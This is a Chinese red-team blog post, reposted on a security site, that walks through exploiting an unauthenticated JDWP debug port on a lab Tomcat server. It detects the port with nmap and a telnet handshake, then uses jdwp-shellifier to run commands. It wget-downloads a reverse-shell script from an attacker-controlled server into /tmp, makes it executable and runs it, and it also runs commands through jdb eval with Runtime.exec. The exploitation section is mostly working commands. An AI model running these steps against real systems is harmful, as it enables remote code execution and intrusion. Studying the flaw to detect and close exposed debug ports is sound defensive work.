『红蓝对抗』JDWP未授权getshell

admin 2024年11月18日18:25:16评论63 views字数 2131阅读7分6秒阅读模式

点击蓝字

关注我们

日期:2024年09月13日
作者:Yukong
介绍:攻防演练常常会教育我们不要忽略任何一个细节……

0x00 前言

为期两周的攻防演练面对成百上千的ip,以及成千上万的开放端口眼都要花了。等等!这是什么东西,让俺老孙瞅上一瞅。

『红蓝对抗』JDWP未授权getshell

0x01 漏洞简介

1.1 什么是JDWP

JDWPJava 调试系统的组件之一,称为Java 平台调试架构(JPDA)Debuggee 由一个运行我们的目标应用程序的多线程 JVM 组成。它允许调试器通过网络连接到正在运行的Java虚拟机(JVM)上,并执行诊断和调试操作。JDWP协议使用基于TCP的网络通信,并采用二进制格式进行数据传输。

1.2 漏洞原理

JDWP未授权漏洞的原理通常是由于JVM在默认配置下启用了JDWP,并将JDWP端口暴露在网络上,攻击者可以利用这个开放的端口进行攻击。攻击者可以通过JDWP协议向JVM发送指令,从而控制JVM并执行恶意代码。攻击者还可以利用JDWP协议中的命令获取JVM中的敏感信息,例如类名、方法名、变量名等。

0x02 漏洞环境搭建

(1)下载Tomcat环境

官网下载Tomcat8.5.43https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.43/bin/,下载解压缩版。

『红蓝对抗』JDWP未授权getshell

(2)解压Tomcat8.5.43

unzip apache-tomcat-8.5.43.zip

『红蓝对抗』JDWP未授权getshell

(3)修改配置文件,开启debug,并且向互联网开放端口

cdapache-tomcat-8.5.43/bin目录下,修改配置文件catalina.sh,在第一行加入JAVA_OPTS="$JAVA_OPTS -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000"

『红蓝对抗』JDWP未授权getshell

(4)开启漏洞环境

./startup.sh

『红蓝对抗』JDWP未授权getshell

但出现这些信息,证明环境已启动,并且访问8080端口可以看到Tomcat页面。

0x03 漏洞复现

3.1 端口探测

(1)使用nmap探测端口,会识别到JDWP服务

nmap -sT -sV IP

『红蓝对抗』JDWP未授权getshell

(2)使用端口扫描工具可以扫描到JWDP服务

『红蓝对抗』JDWP未授权getshell

3.2 漏洞发现

(1)当我们发现存在JDWP服务时,可以使用Telnet命令探测,当输入JDWP-Handshake时,服务端返回一样的内容,证明漏洞存在。

『红蓝对抗』JDWP未授权getshell

(2)没有Telnet也可以使用NC

『红蓝对抗』JDWP未授权getshell

3.3 漏洞利用

1、使用GitHub上已有的工具:https://github.com/IOActive/jdwp-shellifier

ping dnslog

python2 jdwp-shellifier.py -t [IP] -p [Port] --break-on "java.lang.String.indexof"  --cmd "ping bmzjs8gi.eyes.sh"
『红蓝对抗』JDWP未授权getshell

(1)远程下载文件,反弹shell

vps准备反弹shell文件,保存为shell.txt

『红蓝对抗』JDWP未授权getshell

(2)使用python开启8999端口

python3 -m http.server 9998

(3)远程下载文件,并保存为可执行文件

python2 jdwp-shellifier.py -t [IP] -p [Port] --break-on "java.lang.String.indexof"  --cmd "wget http://IP:9998/shell.txt -O /tmp/shell.sh"
『红蓝对抗』JDWP未授权getshell
『红蓝对抗』JDWP未授权getshell

(4)执行文件,反弹shell

# 添加执行权限python2 jdwp-shellifier.py -t [IP] -p [Port] --break-on "java.lang.String.indexof"  --cmd "chmod a+x /tmp/shell.sh"# 执行命令python2 jdwp-shellifier.py -t [IP] -p [Port] --break-on "java.lang.String.indexof"  --cmd "./tmp/shell.sh"

『红蓝对抗』JDWP未授权getshell

『红蓝对抗』JDWP未授权getshell

2、直接执行base64编码后的反弹shell命令

『红蓝对抗』JDWP未授权getshell

3、使用jdb 执行命令

jdb使用手册:https://pxzxj.github.io/articles/jdb.html

(1)连接远程jwdp端口

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.182.130,port=8000

(2)threads查看看所有线程

『红蓝对抗』JDWP未授权getshell

(3)thread [id]选择休眠的线程

『红蓝对抗』JDWP未授权getshell

(4)stepi进入该线程,并且通过eval执行Java表达式从而达成命令执行

eval java.lang.Runtime.getRuntime().exec("ping bmzjs8gi.eyes.sh")
『红蓝对抗』JDWP未授权getshell
『红蓝对抗』JDWP未授权getshell

0x03 总结

通常我们会结合目标机器的网络环境以及安全设备选择正向的连接或者免杀shell的传入,这时候就可以选择更加灵活Metasploit来帮助我们达到目的。执行命令的方式当然不止这几种,这就考验我们平时知识的积累了。

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

点此亲启

原文始发于微信公众号(宸极实验室):『红蓝对抗』JDWP未授权getshell

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月18日18:25:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『红蓝对抗』JDWP未授权getshellhttps://cn-sec.com/archives/3406721.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息